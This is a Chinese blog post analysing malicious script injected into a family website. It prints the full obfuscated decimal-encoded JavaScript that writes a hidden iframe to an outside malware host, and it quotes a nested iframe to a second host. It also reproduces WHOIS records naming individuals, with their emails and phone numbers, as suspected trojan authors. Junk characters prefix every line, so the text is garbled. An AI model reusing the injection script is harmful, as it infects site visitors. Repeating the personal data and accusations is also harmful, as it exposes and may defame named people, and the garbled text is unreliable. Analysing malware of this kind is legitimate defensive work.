首发在我的博客里面，
#\Zr$?t|V aUk]wiwIR9 http://www.areway.cn/?p=175 M@+Pq/f: _F},Wp:Oh .t7ME{ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
s
w{e | ?&?5x%|.< <script>t=’60,105,102,114,97,109,101,
qs!A)H# 32,115,114,99,61,104,116,116,112,58,47,47,
i2+_~$f 102,114,101,101,46,117,45,117,117,117,46,99,
-G(#,rXk 110,47,101,114,114,111,114,46,104,116,109,
]-;MY@ 32,119,105,100,116,104,61,49,48,48,32,104,
spT$}F2n 101,105,103,104,116,61,48,62,60,47,105,102,
x;{Hd;<YF 114,97,109,101,62′;
K5!Ov qzG t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
dngG= ZI.Czzx\= <script>t=’60,105,102,114,97,109,101,32,115,
3,?LpdTS 114,99,61,104,116,116,112,58,47,47,102,114,
IG&twJR 101,101,46,117,45,117,117,117,46,99,110,47,
uHq;z{ 2GI 101,114,114,111,114,46,104,116,109,32,119,
)H(i)$I 105,100,116,104,61,49,48,48,32,104,101,105,
iDWM-Ytx 103,104,116,61,48,62,60,47,105,102,114,97,
/j -c29nz 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
H D'adj_, document.write(t);</script>
{2 k]$| //'&a-%$^ <html xmlns=”
+xd@un[r< http://www.w3.org/1999/xhtml 'xLXj> “>
=0a z5td <head>
_L+j6N.h1 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Bbi yyRa <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
:b]
\* <title>首页 - 爱生活家庭网
\FIM'EKzu! u\;d^ A 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
1,P\dGmu 转换字符串后的大概内容是（谁点击后果自付）：
Y#QXvo% <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
}b SDhMV; c
h}wXn 查询玉米u-uuu.cn的详细信息：
-lrcb/)Gz Domain Name: u-uuu.cn
k~F;G=P ROID: 20070901s10001s64972306-cn
UA|\D]xe Domain Status: ok
^a<kp69qS Registrant Organization: 王雷
U\(71 = Registrant Name: 王雷
Kq5i8L=u Administrative Email:
czlovexs@126.com i+F*vTM2, Sponsoring Registrar: 北京万网志成科技有限公司
/2 4}>oAH Name Server:ns.yovole.com
W-*HAS Name Server:ns1.yovole.com
nxB[T o*P Registration Date: 2007-09-01 17:54
zz!jt
A Expiration Date: 2008-09-01 17:54
*d`KD64 最后PING了一下地址 都没有什么….
`~z[Hj=2 E]v?:!!ds 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
\~g,;>%7Y <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
S*gm[Z LQ <script language=”javascript” src=”
#^BttI http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script icb *L ~qm >
!9.F I{W 这个玉米应该有可能是木马作者的：
Ii&p v foafau.info的详细信息：
{,u} )U2 Access to INFO WHOIS information is provided to assist persons in
M4D @G determining the contents of a domain name registration record in the
OE}FZCX F Afilias registry database. The data in this record is provided by
cUr !U\X[ Afilias Limited for informational purposes only, and Afilias does not
na|sKE;{ guarantee its accuracy. This service is intended only for query-based
\KzH5 ? access. You agree that you will use this data only for lawful purposes
c/igw+L() and that, under no circumstances will you use this data to: (a) allow,
7377g'jL enable, or otherwise support the transmission by e-mail, telephone, or
BeN]D facsimile of mass unsolicited, commercial advertising or solicitations
r6kJV4I=re to entities other than the data recipient’s own existing customers; or
DJ*mWi. (b) enable high volume, automated, electronic processes that send
"iR:KW@ queries or data to the systems of Registry Operator, a Registrar, or
9ln=f= Afilias except as reasonably necessary to register domain names or
q#@r*hl modify existing registrations. All rights reserved. Afilias reserves
^`B;SSV the right to modify these terms at any time. By submitting this query,
=H3tkMoi2 you agree to abide by this policy.
#4JLWg Domain ID:D22418703-LRMS
z 1]nC]2 Domain Name:FOAFAU.INFO
;rF[y7\ Created On:20-Nov-2007 16:05:42 UTC
S~hu(x# Last Updated On:20-Nov-2007 16:05:44 UTC
6ypLE@Mk Expiration Date:20-Nov-2008 16:05:42 UTC
8*x=Fm,Ok Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
YYT#{>& Status:CLIENT DELETE PROHIBITED
x NjQ"'i8 Status:CLIENT RENEW PROHIBITED
[uK{``" Status:CLIENT TRANSFER PROHIBITED
M >[
A Status:CLIENT UPDATE PROHIBITED
!l=)$RJKdD Status:TRANSFER PROHIBITED
YCQ $X Registrant ID:GODA-040110615
lZuH:AH Registrant Name:liu hong
rwVp}H G
Registrant Organization:
Y SB=n d_ Registrant Street1:beijing
d^J)Mhju Registrant Street2:
!n` | k Registrant Street3:
2 2=sh;y+2 Registrant City:beijing
s2<[@@@q Registrant State/Province:
iPCCT s Registrant Postal Code:100000
,wM4X'] HR Registrant Country:CN
xQ7U$QF|] Registrant Phone:+86.860108888777
"l9aBBiu Registrant Phone Ext.:
:o .+<_ & Registrant FAX:
BjagG/ sX Registrant FAX Ext.:
co3\1[q"b Registrant Email:bbbshiji@163.com
N'WC!K.e Admin ID:GODA-240110615
Mn/@?K?y Admin Name:liu hong
hl7 z1h Admin Organization:
G<Eb~]. 1' Admin Street1:beijing
EwX{ i}j_V Admin Street2:
w]yVNB Admin Street3:
amdgb,vh Admin City:beijing
} c k <R Admin State/Province:
r uGeN Admin Postal Code:100000
,`k&9o7 Admin Country:CN
Dsp$Nr%* Admin Phone:+86.860108888777
Z.u 1Dz Admin Phone Ext.:
jS~Pdz Admin FAX:
-F[@)$L Admin FAX Ext.:
QF\ nf_X Admin Email:bbbshiji@163.com
E_a BDiyDf Billing ID:GODA-340110615
Y*PfU +y~ Billing Name:liu hong
~mARgv Billing Organization:
AB`.K{h Billing Street1:beijing
!{ (Bc8
hT Billing Street2:
CUYA:R< ) Billing Street3:
Hcwfe=K&/ Billing City:beijing
J-Tiwl Billing State/Province:
4k-A k6s Billing Postal Code:100000
$\Y&2&1s Billing Country:CN
BjsT 9?6W/ Billing Phone:+86.860108888777
qSB&Q 0T Billing Phone Ext.:
WA"~6U* Billing FAX:
(nt `8 0 Billing FAX Ext.:
a!E22k?((z Billing Email:bbbshiji@163.com
*$W&jfW Tech ID:GODA-140110615
UUlz3" ` Tech Name:liu hong
n\l?+)S * Tech Organization:
|[IyqWG9 Tech Street1:beijing
C_kuW+H Tech Street2:
cO*g4VL"[ Tech Street3:
N
UX | Tech City:beijing
3>-h-
cpMX Tech State/Province:
#$- E5R;x Tech Postal Code:100000
&.\7='$F Tech Country:CN
>#x[qX Tech Phone:+86.860108888777
+Gt9!x}#e Tech Phone Ext.:
1QG q;6\ Tech FAX:
)/%5f{+} Tech FAX Ext.:
P+}~6}wJE Tech Email:bbbshiji@163.com
26rg-?;V^ Name Server:NS27.DOMAINCONTROL.COM
kuy?n-1g Name Server:NS28.DOMAINCONTROL.COM
xF8n=Lc Name Server:
robg 1 Name Server:
0^gY4qx[u Name Server:
T5."3 i Name Server:
1.F&gP)9 Name Server:
LK~aLa5wG Name Server:
8ROKfPj;z Name Server:
^0}ma*gi~ Name Server:
X!ruQem / Name Server:
jRg
gj`o Name Server:
<[cpaZT, Name Server:
#mw !_]
@m9pb+=v 接着下载每个文件里面的代码：
< ,*\t 一步一步看..
{g<D:"Q 
$TXxhd 6 
ovTL'j! 
QMsq4yJ)% 
fUkqhq e 
() _ RLA 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
